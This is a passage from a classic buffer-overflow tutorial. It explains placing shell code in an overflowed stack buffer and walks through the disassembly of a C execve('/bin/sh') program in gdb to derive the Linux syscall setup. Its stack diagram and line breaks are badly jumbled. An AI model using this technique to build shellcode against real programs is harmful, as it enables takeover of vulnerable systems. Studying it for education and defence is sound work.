Shell Code ~~~~~~~~~~
So now that we know that we can
modify the return address and the flow of execution, what program
do we want to execute? In most cases we'll simply want the program
to spawn a shell. From the shell we can then issue other commands
as we wish. But what if there is no such code in the program
we are trying to exploit? How can we place arbitrary instruction
into its address space? The answer is to place the code with
are trying to execute in the buffer we are overflowing, and overwrite
the return address so it points back into the buffer. Assuming
the stack starts at address 0xFF, and that S stands for the code
we want to execute the stack would then look like this:
bottom of DDDDDDDDEEEEEEEEEEEE
EEEE FFFF FFFF FFFF FFFF top of memory 89ABCDEF0123456789AB CDEF
0123 4567 89AB CDEF memory buffer sfp ret a b c
<------ [SSSSSSSSSSSSSSSSSSSS][SSSS][0xD8][0x01][0x02][0x03]
^ | |____________________________| top of bottom of stack stack
The code to spawn a shell in
C looks like:
shellcode.c -----------------------------------------------------------------------------
#include <stdio.h>
void main() { char *name[2];
name[0] = "/bin/sh";
name[1] = NULL; execve(name[0], name, NULL); } ------------------------------------------------------------------------------
To find out what does it looks
like in assembly we compile it, and start up gdb. Remember to
use the -static flag. Otherwise the actual code the for the execve
system call will not be included. Instead there will be a reference
to dynamic C library that would normally would be linked in at
load time.
------------------------------------------------------------------------------
[aleph1]$ gcc -o shellcode -ggdb -static shellcode.c [aleph1]$
gdb shellcode GDB is free software and you are welcome to distribute
copies of it under certain conditions; type "show copying"
to see the conditions. There is absolutely no warranty for GDB;
type "show warranty" for details. GDB 4.15 (i586-unknown-linux),
© 1995 Free Software Foundation, Inc... (gdb) disassemble
main Dump of assembler code for function main: 0x8000130 <main>:
pushl %ebp 0x8000131 <main+1>: movl %esp,%ebp 0x8000133
<main+3>: subl $0x8,%esp 0x8000136 <main+6>: movl
$0x80027b8,0xfffffff8(%ebp) 0x800013d <main+13>: movl $0x0,0xfffffffc(%ebp)
0x8000144 <main+20>: pushl $0x0 0x8000146 <main+22>:
leal 0xfffffff8(%ebp),%eax 0x8000149 <main+25>: pushl %eax
0x800014a <main+26>: movl 0xfffffff8(%ebp),%eax 0x800014d
<main+29>: pushl %eax 0x800014e <main+30>: call 0x80002bc
<__execve> 0x8000153 <main+35>: addl $0xc,%esp 0x8000156
<main+38>: movl %ebp,%esp 0x8000158 <main+40>: popl
%ebp 0x8000159 <main+41>: ret End of assembler dump. (gdb)
disassemble __execve Dump of assembler code for function __execve:
0x80002bc <__execve>: pushl %ebp 0x80002bd <__execve+1>:
movl %esp,%ebp 0x80002bf <__execve+3>: pushl %ebx 0x80002c0
<__execve+4>: movl $0xb,%eax 0x80002c5 <__execve+9>:
movl 0x8(%ebp),%ebx 0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx
0x80002cb <__execve+15>: movl 0x10(%ebp),%edx 0x80002ce
<__execve+18>: int $0x80 0x80002d0 <__execve+20>:
movl %eax,%edx 0x80002d2 <__execve+22>: testl %edx,%edx
0x80002d4 <__execve+24>: jnl 0x80002e6 <__execve+42>
0x80002d6 <__execve+26>: negl %edx 0x80002d8 <__execve+28>:
pushl %edx 0x80002d9 <__execve+29>: call 0x8001a34 <__normal_errno_location>
0x80002de <__execve+34>: popl %edx 0x80002df <__execve+35>:
movl %edx,(%eax) 0x80002e1 <__execve+37>: movl $0xffffffff,%eax
0x80002e6 <__execve+42>: popl %ebx 0x80002e7 <__execve+43>:
movl %ebp,%esp 0x80002e9 <__execve+45>: popl %ebp 0x80002ea
<__execve+46>: ret 0x80002eb <__execve+47>: nop End
of assembler dump. ------------------------------------------------------------------------------
Lets try to understand what is
going on here. We'll start by studying main:
------------------------------------------------------------------------------
0x8000130 <main>: pushl %ebp 0x8000131 <main+1>:
movl %esp,%ebp 0x8000133 <main+3>: subl $0x8,%esp
This is the procedure prelude.
It first saves the old frame pointer, makes the current stack
pointer the new frame pointer, and leaves space for the local
variables. In this case its:
char *name[2];
or 2 pointers to a char. Pointers
are a word long, so it leaves space for two words (8 bytes).
0x8000136 <main+6>: movl
$0x80027b8,0xfffffff8(%ebp)
We copy the value 0x80027b8 (the
address of the string "/bin/sh") into the first pointer
of name[]. This is equivalent to:
name[0] = "/bin/sh";
0x800013d <main+13>: movl
$0x0,0xfffffffc(%ebp)
We copy the value 0x0 (NULL)
into the seconds pointer of name[]. This is equivalent to:
name[1] = NULL;
The actual call to execve() starts
here.
0x8000144 <main+20>: pushl
$0x0
We push the arguments to execve()
in reverse order onto the stack. We start with NULL.
0x8000146 <main+22>: leal
0xfffffff8(%ebp),%eax
We load the address of name[]
into the EAX register.
0x8000149 <main+25>: pushl
%eax
We push the address of name[]
onto the stack.
0x800014a <main+26>: movl
0xfffffff8(%ebp),%eax
We load the address of the string
"/bin/sh" into the EAX register.
0x800014d <main+29>: pushl
%eax
We push the address of the string
"/bin/sh" onto the stack.
0x800014e <main+30>: call
0x80002bc <__execve>
Call the library procedure execve().
The call instruction pushes the IP onto the stack. ------------------------------------------------------------------------------
Now execve(). Keep in mind we
are using a Intel based Linux system. The syscall details will
change from OS to OS, and from CPU to CPU. Some will pass the
arguments on the stack, others on the registers. Some use a software
interrupt to jump to kernel mode, others use a far call. Linux
passes its arguments to the system call on the registers, and
uses a software interrupt to jump into kernel mode.
------------------------------------------------------------------------------
0x80002bc <__execve>: pushl %ebp 0x80002bd <__execve+1>:
movl %esp,%ebp 0x80002bf <__execve+3>: pushl %ebx
The procedure prelude.
0x80002c0 <__execve+4>:
movl $0xb,%eax
Copy 0xb (11 decimal) onto the
stack. This is the index into the syscall table. 11 is execve.
0x80002c5 <__execve+9>:
movl 0x8(%ebp),%ebx
Copy the address of "/bin/sh"
into EBX.
0x80002c8 <__execve+12>:
movl 0xc(%ebp),%ecx
Copy the address of name[] into
ECX.
0x80002cb <__execve+15>:
movl 0x10(%ebp),%edx
Copy the address of the null
pointer into %edx.
0x80002ce <__execve+18>:
int $0x80
Change into kernel mode. ------------------------------------------------------------------------------MM
More smashing
the stack--->>